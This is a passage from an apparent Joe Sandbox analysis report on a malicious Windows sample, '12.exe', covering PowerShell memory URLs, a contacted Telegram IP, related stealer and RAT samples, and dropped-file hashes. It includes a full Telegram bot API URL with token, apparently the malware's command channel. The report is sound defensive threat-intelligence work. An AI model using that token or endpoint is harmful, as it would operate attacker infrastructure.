00000004.00000002.4155912559.000001D5BFA3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFB13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1053000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.4155343764.000001A33EBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D391000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegrP	powershell.exe, 00000004.00000002.4155912559.000001D5C0523000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.orgX	powershell.exe, 00000001.00000002.4155343764.000001A33E6E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?	powershell.exe, 00000004.00000002.4155912559.000001D5C0FDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.4155343764.000001A33D1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124	powershell.exe, 00000004.00000002.4155912559.000001D5C09F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=9894443	powershell.exe, 00000004.00000002.4155912559.000001D5BF972000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	powershell.exe, 00000004.00000002.4155912559.000001D5C10B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C12E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0A86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF951000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFACB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0D84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA3A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.4155343764.000001A33D1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.6.dr	false		high
https://oneget.org	powershell.exe, 00000001.00000002.4155343764.000001A33E6E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micros	powershell.exe, 00000004.00000002.4212393855.000001D5D7272000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	unknown	United Kingdom		62041	TELEGRAMRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590581
Start date and time:	2025-01-14 09:54:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	12.exe
Detection:	MAL
Classification:	mal92.bank.evad.winEXE@22/48@0/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.19.126.143, 2.19.126.149, 2.23.240.205, 52.22.41.97, 52.6.155.20, 3.233.129.217, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.219.161.132, 192.168.2.4, 23.47.168.24, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 6648 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:55:02	API Interceptor	11805290x Sleep call for process: powershell.exe modified
03:55:06	API Interceptor	3x Sleep call for process: svchost.exe modified
03:55:16	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse
	PDF-3093900299039 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exe	Get hash	malicious	Snake Keylogger	Browse
	https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net	Get hash	malicious	HTMLPhisher	Browse
	https://terrific-metal-countess.glitch.me/	Get hash	malicious	HTMLPhisher	Browse
	6uPVRnocVS.exe	Get hash	malicious	DCRat	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://bu9.fysou.web.id/webs6/cx.aktifkn.fiturr	Get hash	malicious	Unknown	Browse	149.154.164.13
	http://bu9.fysou.web.id/webs6/aktrfn.fitur.pylter	Get hash	malicious	Unknown	Browse	149.154.164.13
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	149.154.167.99
	sysadmin.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf8cedada, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221578435646777
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:3azag03A2UrzJDO
MD5:	678D008748CE16C433C07E0DD02241EA
SHA1:	83BBB6FB699D7EF7C8E883002CE3ACB829DE9FAD
SHA-256:	CFBB00BD78DCED6644FA66884B9DCC12EE22AD7401CA52C8B3D8E1D894E5EFD6
SHA-512:	C85D8AB177A2099761C3FDDAA99091AAF44D38B0322212E1AFA51749051671A985DBD9729234AB2A28FB29094ECB5AFDD903579E393C1A908383E46BA369ABA5
Malicious:	false
Reputation:	low
Preview:	....... .......Y.......X\...;...{......................n.%......:...}...7...}..h.#......:...}..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................DQ...:...}...................P-U.:...}...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44489964864946
Encrypted:	false
SSDEEP:	384:SeXci5tfiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:XUs3OazzU89UTTgUL
MD5:	3FA323458CFB8ED199307081DF7C5846
SHA1:	27B842DDB81C4EB4A8E73D2C08FE8E569994A121
SHA-256:	28D3E57D2479F66EDDB41C30D166F22E0851E48660F122F58EBC1B7789F38496
SHA-512:	BAACB8D86C9DD86CDB2EF8D0043AAAA7E4C94D42691DC38DD231F752DFBDAF4749B920ED5FB15C6E6E6E3CC8ECBCBEA7651D0173322A27A5C8EF63206539B3DB
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214228912465633
Encrypted:	false
SSDEEP:	24:7+tGkvnuwKzqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf98:7M5vnCzqvmFTIF3XmHjBoGGR+jMz+Lhi
MD5:	B29368BB16172B30E33C32FD833723E1
SHA1:	B001A095DE7B9F15D46EBF7434C9E0764A2B74C6
SHA-256:	EF7866C9296912A5BEDF7DDBD6DF95DF8FA06282A4D83107BF68D211F79CAD5F
SHA-512:	244D2AD811519CE528BD2DAB590527285EA3A2B4BA55861F3819F45E80009B24334349AE1C9AB3D0F97653D08D103AA5E291501E35475C8DA24EFE6BC3FE91DC
Malicious:	false
Preview:	.... .c.......}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkl5DCM1fllXlE/HT8kwzvNNX8RolJuRdxLlGB9lQRYwpDdt:kK232T8XVNMa8RdWBwRd
MD5:	96F118677BB0473958ADFE6711ACFC67
SHA1:	A8607246AD89718401159CDA66B7EA5D35DA6475
SHA-256:	1AD0D77552514DB08F3516C5678DDCF68441231135E5D2A38552C71F1FA54EA2
SHA-512:	1CF1E556C5EC30215F01C652BB4D1B32FD5EAB3E1381D382BF91FCAF3F77069E4CFE8192B9B671A974DBC1223909D4E9E2E47BA3B485C3C3915993E2974F68C7
Malicious:	false
Preview:	p...... ............bf..(....................................................... ..........W....m...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2441017925653757
Encrypted:	false
SSDEEP:	6:kKmT9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:uqDImsLNkPlE99SNxAhUe/3
MD5:	7F5F734D0D567ED4D5CA5AF80F06DC85
SHA1:	88D6849C82D2C54A42F5BDF41A9DD81DF9CC8676
SHA-256:	733B4668FC25C444E5E3038E1A32E4432E669EBB5D75FBB440A0CA11D8C52EF5
SHA-512:	1C4FA31098B7ED2EC35ED2B60F6988D184DE6921D5907D801536FBB2250234896D4A6501FA408D4C61CF96A4985B5A7F224B5CC9BE7D061EEE156BAAD1DC8DB1
Malicious:	false
Preview:	p...... ........,.M.bf..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5264

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5264

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
